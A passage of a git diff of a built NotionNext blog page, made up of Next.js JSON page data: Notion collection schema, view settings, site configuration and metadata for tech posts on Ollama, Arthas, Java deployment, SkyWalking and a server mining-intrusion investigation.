e":1710900523643,"parent_id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"27f5381c-4c90-4bf9-ad1d-be7f972dfced":{"value":{"id":"27f5381c-4c90-4bf9-ad1d-be7f972dfced","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"next":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240320-arthas"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u00